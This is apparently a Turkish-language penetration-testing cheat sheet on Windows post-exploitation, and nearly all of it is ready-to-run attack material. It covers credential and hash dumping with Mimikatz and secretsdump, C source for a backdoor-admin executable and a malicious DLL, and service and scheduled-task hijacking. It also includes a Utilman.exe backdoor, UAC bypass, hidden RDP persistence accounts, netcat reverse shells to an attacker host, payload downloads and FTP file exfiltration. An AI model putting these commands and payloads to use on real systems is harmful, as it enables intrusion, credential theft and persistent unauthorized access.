Windows Post Exploitation

Sistem Bilgileri

systeminfo # Sistem bilgisi
whoami # Username ve Hostname
whoami /groups # Kullanıcımızın grupları
whoami /priv # Kullanıcı yetkilerimizi listeler

net user /domain # Domaindeki Kullanıcıları Listeler
net user john /domain # Kullanıcıyı Listeler
net group /domain # Domain Grupları
net group "Sales Department" /domain
net accounts # Hesap Ayarları (Lockout Bilgileri)

Get-LocalUser # Local Kullancılar
Get-LocalGroup # Local Gruplar
Get-LocalGroupMember Administrators # Bir gruptaki kullanıcılar
Get-LocalGroupMember "Remote Desktop Users"
ipconfig /all # Ağ arayüzleri

dir env: # Ortam Değişkenleri

route print # Ağ yönlendirme bilgisi
netstat -ano # Bütün açık portlar
arp -a # ARP Cache Tablosu

# Yüklü uygulamalar
Get-ItemProperty "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" | select displayname

Get-Process # Çalışan İşlemler

Parola Dosyaları

# KeePass File
Get-ChildItem -Path C:\ -Include *.kdbx -File -Recurse -ErrorAction SilentlyContinue

# Xampp Dosyaları
Get-ChildItem -Path C:\xampp -Include *.txt,*.ini -File -Recurse -ErrorAction SilentlyContinue

# Kullanıcı Dosyaları
Get-ChildItem -Path C:\Users\ -Include *.txt,*.pdf,*.xls,*.xlsx,*.doc,*.docx,*.ini -File -Recurse -ErrorAction SilentlyContinue
# History
Get-History
type (Get-PSReadLineOption).HistorySavePath
type C:\Users\administrator\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt

# IIS Dosyaları
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
type C:\inetpub\wwwroot\web.config | findstr connectionString

# Putty Parolası
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /s

cmdkey /list # Parola Listesi

Dosya Transferi

# Kaliden Hedefe
python -m http.server 80
updog -p 80

iwr -uri 192.168.1.2/winPEASx64.exe -o winPEAS.exe

# Hedeften Kaliye
impacket-smbserver -smb2support share . -username admin -password admin

net use * \\192.168.1.2\share /user:admin admin
copy deneme.txt Z:\


python3 -m pyftpdlib --port 21 --write
(New-Object Net.WebClient).UploadFile('ftp://192.168.45.181/file.zip', 'C:\users\joe\Downloads\file.zip')

Kullanıcı Değiştirme

# Sadece GUI varsa olur o yüzden Remote Desktop Users grubunda birini bul
runas /user:backupadmin cmd

RunasCs.exe

Mimikatz

Link: https://github.com/ParrotSec/mimikatz

.\mimikatz.exe
privilege::debug # Yetki kontrolü
token::elevate # Yetki yükseltme

lsadump::sam # Local Kullanıcı Hashleri
lsadump::secrets 
sekurlsa::logonpasswords
sekurlsa::tickets

hashcat -m 1000 hash.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force

Winpeas

Link: https://github.com/peass-ng/PEASS-ng/releases/

.\winPEAS.exe

Service Binary Hijacking

Bu yöntemde düzenleme yetkimiz olan bir servis buluyoruz ve istediğimiz komut ile değiştiriyoruz.

# Servisleri ve yollarını listeler
Get-CimInstance -ClassName win32_service | Select Name,State,StartMode,PathName | Where-Object {$_.State -like 'Running'}
# Servisin yetkilerini listeler
icacls "C:\xampp\mysql\bin\mysqld.exe"
# Eğer bir serviste F(Full Access) varsa yetki yükseltebiliriz
// Bu kod ile kendimize yeni bir admin kullanıcısı açabiliriz
#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user hacker password123! /add");
  i = system ("net localgroup administrators hacker /add");
  i = system ("net localgroup \"Remote Desktop Users\" hacker /add");
  
  return 0;
}
# Local
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe # Kodu derliyoruz
python3 -m http.server 80

# Target
iwr -uri http://192.168.1.3/adduser.exe -Outfile adduser.exe # Dosyayı indiriyoruz
move C:\xampp\mysql\bin\mysqld.exe mysqld.exe # Servisin yedeğini alıyoruz
move .\adduser.exe C:\xampp\mysql\bin\mysqld.exe # Kodumuzu servisin yerine koyuyoruz
net stop mysql # Servisi yeniden başlatıyoruz
net start mysql
shutdown /r /t 0 # Eğer servis yeniden başlamıyorsa sistemi reboot ediyoruz
Get-LocalGroupMember administrators # Sisteme artık kendi kullanıcımız ile girebiliriz
# Aynı işlemi PowerUp ile otomatize yapabiliriz.
cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 .
python3 -m http.server 80

iwr -uri http://192.168.119.3/PowerUp.ps1 -Outfile PowerUp.ps1
powershell -ep bypass
. .\PowerUp.ps1
Get-ModifiableServiceFile
Install-ServiceBinary -Name 'mysql'

Service DLL Hijacking

Process Monitor: https://learn.microsoft.com/en-us/sysinternals/downloads/procmon

# Servisleri listeliyoruz
Get-CimInstance -ClassName win32_service | Select Name,State,StartMode,PathName | Where-Object {$_.State -like 'Running'}
# Process Monitorde Servisler hangi dll dosyalarını çağrıyor inceliyoruz
# Procmon için administrator olmamız gerekiyor
.\Procmon64.exe
# Seçtiğimiz sistemi resetliyoruz ve process monitorde inceliyoruz
Restart-Service BetaService
# Bir servis dll ararken önce kendi dizinine sonra path değişkenindeki yolları arar
$env:path -split ';'
# Eğer servisin bulunduğu dizine veya path içindeki daha başlardaki bir yere kendi dll dosyamızı yazarsak yetki yükseltebiliriz
#include <stdlib.h>
#include <windows.h>

BOOL APIENTRY DllMain(
HANDLE hModule,// Handle to DLL module
DWORD ul_reason_for_call,// Reason for calling function
LPVOID lpReserved ) // Reserved
{
    switch ( ul_reason_for_call )
    {
        case DLL_PROCESS_ATTACH: // A process is loading the DLL.
        int i;
  	    i = system ("net user hacker password123! /add");
  	    i = system ("net localgroup administrators hacker /add");
  	    i = system ("net localgroup \"Remote Desktop Users\" hacker /add");
        break;
        case DLL_THREAD_ATTACH: // A process is creating a new thread.
        break;
        case DLL_THREAD_DETACH: // A thread exits normally.
        break;
        case DLL_PROCESS_DETACH: // A process unloads the DLL.
        break;
    }
    return TRUE;
}
# Localde
x86_64-w64-mingw32-gcc myDLL.cpp --shared -o myDLL.dll
python -m http.server 80

# Hedefte
iwr -uri http://192.168.1.3/myDLL.dll -Outfile myDLL.dll
Restart-Service BetaService

Unquoted Service Path

# İçinde boşluk olan servisleri bulur
wmic service get name,pathname |  findstr /i /v "C:\Windows\\" | findstr /i /v """

# Örnek zafiyetli servis 
C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe

# Potansiyel saldırı dizinleri
C:\Program.exe
C:\Program Files\Enterprise.exe
C:\Program Files\Enterprise Apps\Current.exe
C:\Program Files\Enterprise Apps\Current Version\GammaServ.exe

# Hangi dizinlere yazma yetkimiz var kontrol ediyoruz
icacls "C:\"
icacls "C:\Program Files"
icacls "C:\Program Files\Enterprise Apps"
// Bu kod ile kendimize yeni bir admin kullanıcısı açabiliriz
#include <stdlib.h>

int main ()
{
  int i;
  
  i = system ("net user hacker password123! /add");
  i = system ("net localgroup administrators hacker /add");
  i = system ("net localgroup \"Remote Desktop Users\" hacker /add");
  
  return 0;
}
# Local
x86_64-w64-mingw32-gcc adduser.c -o adduser.exe # Kodu derliyoruz
python3 -m http.server 80

# Target
iwr -uri http://192.168.1.3/adduser.exe -Outfile adduser.exe # Dosyayı indiriyoruz

copy .\adduser.exe 'C:\Program Files\Enterprise Apps\Current.exe'
Restart-Service GammaService
# Aynı işlemi PowerUp ile otomatize yapabiliriz.
cp /usr/share/windows-resources/powersploit/Privesc/PowerUp.ps1 .
python3 -m http.server 80

iwr -uri http://192.168.119.3/PowerUp.ps1 -Outfile PowerUp.ps1
powershell -ep bypass
. .\PowerUp.ps1
Get-UnquotedService
Write-ServiceBinary -Name 'GammaService' -Path "C:\Program Files\Enterprise Apps\Current.exe"
Restart-Service GammaService

Scheduled Tasks

# Zamanlanmış Servislere Bakıyoruz
schtasks /query /fo LIST /v
# Eğer ilginç bir servis var ise yazma yetkimiz var mı diye inceliyoruz
icacls C:\Users\steve\Pictures\BackendCacheCleanup.exe


iwr -Uri http://192.168.1.3/adduser.exe -Outfile BackendCacheCleanup.exe
move .\Pictures\BackendCacheCleanup.exe BackendCacheCleanup.exe.bak
move .\BackendCacheCleanup.exe .\Pictures\

Printspoofer

# Hedef
whoami /priv # Eğer hedefte aşağıdaki yetki var ise deneyebiliriz
SeImpersonatePrivilege Enabled

# Local
wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe
python3 -m http.server 80

# Hedef
iwr -uri http://192.168.1.3/PrintSpoofer64.exe -Outfile PrintSpoofer64.exe
.\PrintSpoofer64.exe -i -c powershell.exe

./GodPotato-NET4.exe -cmd "cmd /c whoami"

SeBackupPrivilege

whoami /priv

iwr -uri http://192.168.1.3/SeBackupPrivilegeUtils.dll -OutFile .\SeBackupPrivilegeUtils.dll
iwr -uri http://192.168.1.3/SeBackupPrivilegeCmdLets.dll -OutFile .\SeBackupPrivilegeCmdLets.dll

Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll

Set-SeBackupPrivilege
Get-SeBackupPrivilege

Copy-FileSeBackupPrivilege C:\Users\Administrator\flag.txt C:\Users\Public\flag.txt -Overwrite

Exploit Suggester

Windows-exploit-suggester: https://github.com/bitsadmin/wesng

# Hedefte
systeminfo

# Localde
python wes.py --update
python wes.py systeminfo.txt

SeBackup / SeRestore

# Yetkileri listeler
whoami /priv

# Eğer SeBackup/SeRestore yetkimiz varsa parola hashlerini tutan kayıtları kopyalıyoruz.
reg save hklm\system C:\Users\%username%\system.hive
reg save hklm\sam C:\Users\%username%\sam.hive

# Sonrasında kendi makinemizde bu hashleri okuyoruz. Bu hashleri psexec ile kullanabiliriz.
impacket-secretsdump -sam sam.hive -system system.hive LOCAL

SeTakeOwnership

# Yetkileri listeliyoruz
whoami /priv

# Eğer SeTakeOwnership yetkimiz varsa bir dosyanın sahipliğini kendimize alabiliriz.
# Aşağıdaki komutlar ile utilman dosyasını cmd ile değiştiriyoruz.
takeown /f C:\Windows\System32\Utilman.exe
icacls C:\Windows\System32\Utilman.exe /grant %username%:F
copy C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe

# Bunu yaptıktan sonra giriş ekranında sağ altta bulunan Ease of Access butonu bize yetkili bir shell sağlıyor.

SeImpersonate / SeAssignPrimaryToken

Rogue WinRM: https://github.com/antonioCoco/RogueWinRM

Netcat: https://github.com/int0x33/nc.exe/

# Yetkileri listeler
whoami /priv

nc -lvnp 1234
RogueWinRM.exe -p "nc64.exe" -a "-e cmd.exe <ATTACKER_IP> 1234"

Token Impersonation

Meterpreter session aldıktan sonra kullanıcımızı ve yetkilerimizi listeleyelim. Eğer kullanıcımızda SeImpersonatePrivilege yetkisi varsa bu yöntemi uygulayabiliriz.

getuid
getprivs

Aşağıdaki komutlar ile sunucuda mevcut tokenleri listeliyoruz.

load incognito
list_tokens -u

Eğer bizden yüksek yetkili bir token bulabilirsek aşağıdaki komut ile bu tokeni taklit edip yetkilerini kullanabiliriz.

impersonate_token ATTACKDEFENSE\\Administrator
getuid

UAC Bypass

UAC (User Account Control), Windows işletim sistemlerinde kullanıcı hesaplarının yetkilerini denetlemeye yarayan bir güvenlik özelliğidir.

UAC etkinleştirildiğinde, kullanıcılar yönetici yetkisi gerektiren bir işlem gerçekleştirmek istediklerinde, öncelikle bir onay penceresiyle karşılaşırlar.

# Aşağıdaki komutlar ile kullanıcımızın administrator yetkisine sahip olduğunu doğruluyoruz.
whoami
net localgroup administrators

# Sonrasında yetkimizi yükseltmek için getsystem yapıyoruz
migrate -N explorer.exe
getsystem
# Eğer bu komutlar çalışmadıysa sistemde UAC açıktır

Aşağıdaki msf modülü ile bypass denenebilir.

use exploit/windows/local/bypassuac_injection

Aynı işlem UACME aracı ile de yapılabilir. Reverse shell ve aracı temp klasörüne yüklüyoruz ve aşağıdaki komutu çalıştırıyoruz.

UACME: https://github.com/hfiref0x/UACME/releases

cd %TEMP%
Akagi64.exe 23 %TEMP%\reverse.exe

Migrate

Kendimizi ilk önce kapanmıyacak bir processe aktarmamız lazım

migrate -N explorer.exe
migrate -N lsass.exe

Bu komut sayesinde her birkaç saniyede kendimize yeniden bağlantı isteği gönderiyoruz. Bilgisayar açıp kapanınca bağlantı yeniden geliyor.

RDP Persistence

net user hacker password123! /add
net localgroup administrators hacker /add
net localgroup "Remote Desktop Users" hacker /add

# Eğer rdp açık değil ise

reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server'-name "fDenyTSConnections" -Value 0
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

Hash Dumping

impacket-secretsdump -sam sam -system system local


migrate -N lsass.exe
hashdump

load kiwi
creds_all
lsa_dump_sam
lsa_dump_secrets

john --format=NT hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt
hashcat -a3 -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt

keepass2john Database.kdbx > hash.txt
hashcat -m 13400 keepass.hash /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/rockyou-30000.rule --force

Port Forwarding

# Local
systemctl start ssh
mousepad /etc/proxychains4.conf
#socks5 127.0.0.1 9999

# SSH Tunneling
ssh -N -R 9999 root@192.168.1.2
proxychains nmap -v -sT -Pn -n 172.168.1.3

# Plink Tunnel
C:\Windows\Temp\nc.exe -e cmd.exe 192.168.1.2 1234
C:\Windows\Temp\plink.exe -ssh -l root -pw root -R 127.0.0.1:3390:127.0.0.1:3389 192.168.1.3
nmap -sT -p 3390 127.0.0.1


# Netsh Tunnel (Local Admin Gerekir)
netsh interface portproxy add v4tov4 listenport=2222 listenaddress=192.168.1.3 connectport=22 connectaddress=10.0.0.4
netsh interface portproxy show all
netsh advfirewall firewall add rule name="port_forward_ssh_2222" protocol=TCP dir=in localip=192.168.1.3 localport=2222 action=allow
ssh database_admin@192.168.1.3 -p 2222
netsh advfirewall firewall delete rule name="port_forward_ssh_2222"
netsh interface portproxy del v4tov4 listenport=2222 listenaddress=192.168.50.64

# Meterpreter
portfwd add -l 1234 -p 80 -r 10.0.0.1/24

# Ligolo
./proxy -selfcert -laddr 0.0.0.0:443 
./agent.exe -ignore-cert -connect 192.168.1.2:443

# Chisel
./chisel.exe server --port 9999 --reverse
./chisel client 192.168.1.3:9999 R:8000:127.0.0.1:80

Last updated